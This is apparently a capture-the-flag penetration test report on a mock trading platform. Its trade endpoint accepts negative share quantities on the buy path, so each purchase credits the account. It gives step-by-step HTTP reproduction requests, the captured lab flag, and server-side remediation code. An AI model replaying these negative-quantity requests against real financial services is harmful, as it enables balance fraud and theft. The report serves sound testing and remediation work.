Shady Oaks Financial: Negative Quantity Business Logic Flaw
Executive Summary
Shady Oaks Financial is a mock retail trading platform built as a React single page application over an Express JSON API. Testing found that the trade handler derives the cost of a purchase from a client supplied share quantity and never checks the sign of that quantity. Submitting a negative number of shares on the buy path produces a negative cost, and the handler subtracts that negative value from the account balance, turning every purchase into a deposit of arbitrary size.
Testing confirmed 1 finding:
| ID | Title | Severity | CVSS | CWE | Endpoint |
|---|---|---|---|---|---|
| F1 | Unvalidated negative quantity in the trade handler leading to arbitrary balance credit | High | 7.5 | CWE-1284, CWE-602 | POST /api/trade |
The defect is narrow rather than systemic. A sibling endpoint that accepts a client supplied amount rejects a negative value outright, and the sell direction of the same trade handler rejects an over quantity, so quantity checking was written for this application. Neither check reaches the buy path’s quantity. A newly registered account reached a balance of 1,253,445.76 EUR in three trades carrying a negative quantity, at which point the trade response gained a tier key and the lab flag.
Objective
Assess the Shady Oaks Financial lab application and capture the flag. The engagement ran with a single operator hint, that the trade form trusts the quantity it is given.
Scope / Initial Access
# Target Application
URL: https://lab-1786204705435-00lukq.labs-app.bugforge.io
Platform: BugForge
Date: 2026-08-08
# Auth details
Registration: POST /api/register, open and self-serve, no approval step
Token: HS256 JWT in an Authorization Bearer header
JWT claims: {id, username, role, iat}, no exp claim
Starting privileges: role "user", is_premium 0, balance_eur 1000.00
GET /api/verify-token echoes the full user record back, including all three currency balances and the role, which made it a convenient independent read for confirming that state changes persisted.
Reconnaissance: Recovering the API Surface from the Bundle
The application ships as one Create React App bundle, /static/js/main.799d296b.js, weighing 910 KB. Extracting the HTTP client calls out of it produced the full endpoint and verb matrix without any path guessing, and reading the trade dialog component showed where the constraint on the quantity lived.
- The bundle contains every API path the application uses. Recovering them gave a complete surface list up front, including routes the interface never exposes to a
role: useraccount. - Registration is open, self-serve, and instant, returning a usable JWT and a 1000.00 EUR balance on the first request. The trade handler is therefore reachable by anyone, with no supplied credentials.
- The trade dialog posts
{stock_id, shares: parseFloat(p), action}, and every constraint on that quantity lives in the component:type="number",inputProps={{min: 1e-4, step: 1e-4}}, and a submit button disabled whenparseFloat(p) <= 0. Those three are the whole of the quantity’s validation on the client, which made the sign ofsharesthe first thing worth testing against the server. - The same handler serves both directions through an
actionfield, so the sell direction was available as a control probe against the same code path in the same batch of requests.
Application Architecture
| Component | Detail |
|---|---|
| Backend | Express, JSON API under /api/* |
| Frontend | React single page application (Create React App build), MUI v5, Recharts, single bundle /static/js/main.799d296b.js at 910 KB |
| Auth | HS256 JWT sent in an Authorization: Bearer header. Claims are {id, username, role, iat} with no exp, so issued tokens do not expire. |
| Database | Not directly observable. Positions and a transaction ledger are exposed through GET /api/portfolio and GET /api/transactions. |
| Response formatting | The trade handler returns money values as strings ("total_cost":"-106.40"), while GET /api/verify-token returns the same values as numbers (balance_eur: 1253445.76). |
| Headers | Access-Control-Allow-Origin: * on API responses, with no security headers observed and no X-Powered-By. |
API Surface
| Endpoint | Method | Auth | Notes |
|---|---|---|---|
/api/register |
POST | None | Open and self-serve, returns a JWT and a 1000.00 EUR balance |
/api/login |
POST | None | Not tested |
/api/trade |
POST | Bearer | Buy and sell through an action field. Vulnerable on the buy path (F1). |
/api/convert-currency |
POST | Bearer | Validates the sign of amount and rejects negatives without changing state |
/api/stocks, /api/stocks/:id |
GET | Bearer | Stock list and current prices |
/api/portfolio |
GET | Bearer | Holdings. Stores negative positions without complaint. |
/api/transactions |
GET | Bearer | Ledger. Records negative amounts. |
/api/verify-token |
GET | Bearer | Echoes the full user record, all three balances and role |
/api/currencies, /api/exchange-rates |
GET | Bearer | Read only, no issues observed |
/api/alerts |
GET, POST, DELETE | Bearer | Read tested, write and delete not tested |
/api/portfolio/share, /api/public/portfolio/:token |
POST, GET | Mixed | Not tested |
/api/forecast/indicator, /api/forecast/:id |
POST, GET | Bearer | Premium gated, the test account had is_premium: 0. Not tested. |
/api/admin/users, /api/admin/transactions, /api/admin/stats |
GET | Bearer | Not tested |
/api/profile |
PUT | Bearer | Not tested |
/api/admin/stocks/:id/trend |
PUT | Bearer | Not tested |
/api/forgot-password, /api/reset-password |
POST | None | Not tested |
Stocks Referenced
| Symbol | ID | Price at test time |
|---|---|---|
| PONZI | 3 | 10.64 |
| LEGIT | 4 | 250.47 |
Attack Chain Visualization
┌────────────────────────┐ ┌────────────────────────┐ ┌────────────────────────┐
│ POST /api/register │ │ POST /api/trade │ │ POST /api/trade │
│ open, instant │──▶│ shares:-10 buy │──▶│ shares:-1000 buy │
│ role:user JWT │ │ total_cost "-106.40" │ │ balance 251,565.76 │
│ EUR funding balance │ │ balance 1095.76 │ │ baseline envelope, │
│ │ │ debit inverted │ │ no extra keys │
└────────────────────────┘ └────────────────────────┘ └────────────────────────┘
│
▼
┌────────────────────────┐
│ POST /api/trade │
│ shares:-4000 buy │
│ balance 1,253,445.76 │
│ tier:"platinum" │
│ + flag on response │
└────────────────────────┘
Findings
F1: Unvalidated Negative Quantity in the Trade Handler Leading to Arbitrary Balance Credit
Severity: High
CVSS v3.1: 7.5 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N)
CWE: CWE-1284 (Improper Validation of Specified Quantity in Input), CWE-602 (Client-Side Enforcement of Server-Side Security)
Endpoint: POST /api/trade
Authentication required: Yes, any account. Registration is open and self-serve, and one account was created that way. PR:N is scored on the assumption that registration is neither throttled nor capped, which was not probed. Scoring PR:L instead yields 6.5.
Description
The buy path of the trade handler computes total_cost = current_price * shares and applies balance -= total_cost without validating the sign of the client supplied shares value. A negative quantity produces a negative cost, and subtracting a negative value credits the account instead of debiting it. The magnitude is controlled entirely by the caller and the request is repeatable.
Every constraint on the quantity is expressed in the React component and none of the three is re-checked by the server:
// from main.799d296b.js, the trade dialog
Mo.post("/api/trade", { stock_id: i.id, shares: parseFloat(p), action: d })
<TextField type="number" inputProps={{ min: 1e-4, step: 1e-4 }} />
<Button disabled={b || !p || parseFloat(p) <= 0}>
The same handler does check quantities in the sell direction. Selling 10 shares while holding 1 returns 400 {"error":"Insufficient shares"}, which is a holdings check rather than a sign check. Quantity validation exists inside this handler and none of it reaches the buy path.
Three of the paths exercised in this engagement accept a client supplied amount or quantity. Only one of them was reached with a negative value and accepted it:
| Handler and path | Negative value sent | Result |
|---|---|---|
POST /api/convert-currency, amount |
Yes, amount: -100 |
Rejected. 400 Invalid conversion parameters, balances identical before and after. |
POST /api/trade, buy path quantity |
Yes, shares: -10 and shares: -4000 |
Accepted. Negative total_cost, balance credited. |
POST /api/trade, sell path quantity |
No | Not tested for sign. An over quantity is rejected, which is a holdings check. |
The conversion handler rejecting a negative amount is what makes the buy path a missed path rather than an absent convention: sign checking exists somewhere in this application. Whether the sell path checks the sign was not established.
Two probes that would bound the buy path further were not run. A buy larger than the available balance would show whether that path validates anything at all, and a negative sell would settle the sell row above. Both are untested here, and the remediation below is written to cover the buy path regardless of which way they fall.
Impact
Any user who can register is able to credit their own account by an arbitrary amount. The fabricated balance persists across independent reads and converts into other currencies through the ordinary conversion path.
Reproduction
Step 1: Register an account
POST /api/register HTTP/1.1
Host: lab-1786204705435-00lukq.labs-app.bugforge.io
Content-Type: application/json
{"username":"testuser","email":"[email protected]","password":"Passw0rd!","full_name":"Test User"}
Response: 200 with a JWT, role: "user", is_premium: 0 and balance_eur: 1000.00.
Step 2: Establish the baseline trade response
POST /api/trade HTTP/1.1
Host: lab-1786204705435-00lukq.labs-app.bugforge.io
Authorization: Bearer <jwt>
Content-Type: application/json
{"stock_id":3,"shares":1,"action":"buy"}
Response: 200 {"message":"Stock purchased successfully","total_cost":"10.64","new_balance":"989.36", ...}. A normal purchase debits the balance, and the response envelope carries six keys.
Step 3: Submit a negative quantity on the buy path
POST /api/trade HTTP/1.1
Host: lab-1786204705435-00lukq.labs-app.bugforge.io
Authorization: Bearer <jwt>
Content-Type: application/json
{"stock_id":3,"shares":-10,"action":"buy"}
Response: 200 {"message":"Stock purchased successfully","total_cost":"-106.40","new_balance":"1095.76", ...}. The cost is negative and the balance rose by 106.40 EUR rather than falling.
Step 4: Scale the quantity against a higher priced stock
POST /api/trade HTTP/1.1
Host: lab-1786204705435-00lukq.labs-app.bugforge.io
Authorization: Bearer <jwt>
Content-Type: application/json
{"stock_id":4,"shares":-1000,"action":"buy"}
Response: 200 with new_balance: "251565.76". The response still carries the baseline six key envelope with nothing added.
Step 5: Scale further
POST /api/trade HTTP/1.1
Host: lab-1786204705435-00lukq.labs-app.bugforge.io
Authorization: Bearer <jwt>
Content-Type: application/json
{"stock_id":4,"shares":-4000,"action":"buy"}
Response:
{"message":"Stock purchased successfully","transaction_id":9,"shares":"-4000.0000",
"price":250.47,"total_cost":"-1001880.00","new_balance":"1253445.76",
"tier":"platinum","flag":"bug{2PIYCauYlvflU4kM87luKJXZJN1nm2AH}"}
Two keys appear that were absent from the step 4 response, tier and flag. Note that the balance is not the only quantity that grew between the two requests: position size, cumulative traded volume and transaction count all grew as well. The observation is that both keys are present on this response and absent on the previous one.
Step 6: Confirm the credit persisted
GET /api/verify-token HTTP/1.1
Host: lab-1786204705435-00lukq.labs-app.bugforge.io
Authorization: Bearer <jwt>
Response: 200 with balance_eur: 1253445.76. The credit is real account state, not a value computed for the trade response. GET /api/portfolio shows positions of -5000 and -9 shares, and GET /api/transactions records total_amount: -1001880, quantities the interface cannot produce.
Step 7: Spend the fabricated balance
POST /api/convert-currency HTTP/1.1
Host: lab-1786204705435-00lukq.labs-app.bugforge.io
Authorization: Bearer <jwt>
Content-Type: application/json
{"from":"EUR","to":"USD","amount":100}
Response: 200. balance_eur moves from 1253445.76 to 1253345.76 and balance_usd from 0 to 111.49. The fabricated EUR passes through the legitimate conversion path into another currency. GBP shares the handler but was not separately exercised.
Remediation
Fix 1: Validate the quantity on the server before any cost is computed, on both trade directions
Server source was not available in this engagement, so both blocks below are illustrative. The BEFORE shape is what the observed request and response values imply, not recovered code.
// BEFORE (illustrative)
app.post('/api/trade', authenticate, async (req, res) => {
const { stock_id, shares, action } = req.body;
const stock = await getStock(stock_id);
const totalCost = stock.current_price * shares;
if (action === 'buy') {
await adjustBalance(req.user.id, -totalCost);
await adjustPosition(req.user.id, stock_id, shares);
return res.json({ message: 'Stock purchased successfully', total_cost: totalCost });
}
// sell path checks holdings, buy path checks nothing
});
// AFTER
const MIN_SHARES = 0.0001;
app.post('/api/trade', authenticate, async (req, res) => {
const { stock_id, action } = req.body;
const shares = req.body.shares;
// one gate, both directions, before any arithmetic
if (typeof shares !== 'number' || !Number.isFinite(shares) || shares < MIN_SHARES) {
return res.status(400).json({ error: 'Invalid share quantity' });
}
const stock = await getStock(stock_id);
const totalCost = toDecimal(stock.current_price).times(shares);
// ... proceed with the existing buy and sell logic
});
The check belongs at the top of the handler rather than inside either branch, so a future third direction such as a refund or an adjustment inherits it, and so the buy path is covered whether or not the sell path already checks the sign.
Both halves of the guard earn their place on a JSON API. The typeof test rejects the shapes a coercion would quietly accept, since Number([5]) is 5 and Number(true) is 1. Number.isFinite then covers NaN and Infinity. That second one matters because a guard written as a reject gate, if (shares <= 0) reject, passes NaN straight through, every comparison against NaN being false. That reject gate is the same shape the frontend uses.
Fix 2: Constrain the positions table so an invalid quantity cannot be stored even if a handler misses it
The schema was not observable from the client, so this is illustrative in the same way as Fix 1.
-- BEFORE (illustrative)
CREATE TABLE portfolio (
user_id INTEGER NOT NULL,
stock_id INTEGER NOT NULL,
shares DECIMAL NOT NULL
);
-- AFTER
CREATE TABLE portfolio (
user_id INTEGER NOT NULL,
stock_id INTEGER NOT NULL,
shares DECIMAL NOT NULL CHECK (shares >= 0)
);
>= 0 rather than > 0, so an account that liquidates a position in full and leaves a zero row does not trip the constraint. A matching constraint on the transactions table is deliberately not proposed: it depends on the ledger’s sign convention, and this engagement never recorded a successful sell, so whether sells are stored as negative amounts is unknown. A > 0 check there would reject every legitimate sell if they are. Adding a constraint to a populated table is also engine dependent, and SQLite in particular requires a table rebuild rather than an ALTER TABLE.
Additional recommendations:
- Compute money with a decimal type rather than floating point, so the cost calculation is exact and the stored amount matches what the response reports.
- Reconcile existing rows before adding the constraints. This account left positions of
-5000and-9shares and a ledger entry of-1001880behind. - Mirror the constraint that the interface already advertises. The dialog states a minimum of
0.0001and a step of0.0001, and the server should enforce both rather than treating them as presentation. - Issue JWTs with an
expclaim. The tokens observed here carry only{id, username, role, iat}, so a leaked token stays valid indefinitely. This was observed rather than exploited.
OWASP Top 10 Coverage
- A04:2021 Insecure Design: The minimum quantity, the step, and the greater than zero check are expressed in the trade dialog and nowhere on the server, so a constraint the application advertises to its users is never enforced where it matters.
- A05:2021 Security Misconfiguration: No security headers were observed on any API response. The wildcard
Access-Control-Allow-Originis recorded as an observation rather than a finding, since the API authenticates through anAuthorizationheader and a wildcard origin cannot carry credentialed cross-origin requests. No exploitable consequence was demonstrated for either.
Tools Used
| Tool | Purpose |
|---|---|
| curl | Issuing API requests and capturing raw request and response bytes |
| jq | Reading JSON responses and diffing the trade response envelope between steps |
| Browser developer tools | Retrieving the frontend bundle |
| grep | Searching the 910 KB bundle for API paths and flag markers |
References
- CWE-1284: Improper Validation of Specified Quantity in Input
- CWE-602: Client-Side Enforcement of Server-Side Security
- OWASP Top 10 A04:2021 Insecure Design
- OWASP WSTG-BUSL-01: Test Business Logic Data Validation
- CVSS v3.1 Calculator
Failed Approaches
| Approach | Result | Why It Failed |
|---|---|---|
Sell more shares than held, {"shares":10,"action":"sell"} while holding 1 |
400 {"error":"Insufficient shares"} |
The sell path checks holdings correctly. This probe is what established that validation exists in the handler and was omitted only on the buy path. |
Negative amount on POST /api/convert-currency |
400 {"error":"Invalid conversion parameters"}, balances identical before and after |
The conversion handler validates the sign and rejects without changing state, so there is no partial debit to work with. Firing this after the flag was already captured is what kept the finding scoped to one path instead of the whole money layer. |
| Liquidating the negative positions back into cash | Blocked by the same holdings check on the sell path | Negative positions persist in the portfolio, but they cannot be sold, so the effect is a balance credit and not short selling or share laundering. |
| Searching the frontend bundle for the flag | Zero hits for bug{, flag as an identifier, achievement, milestone, congrat, reward and 1000000 across 910 KB |
The flag is issued by the server on a state condition, not embedded in the build. |
| Reading the flag from a response header | The recorded trade response headers are Access-Control-Allow-Origin, Content-Length, Content-Type, Date and Etag |
Delivery is in the response body only. A previous BugForge target used an X-Flag header, which is why this was checked. |
Tags: #bugforge #webapp #business-logic #input-validation #fintech
Document Version: 1.0
Last Updated: 2026-08-08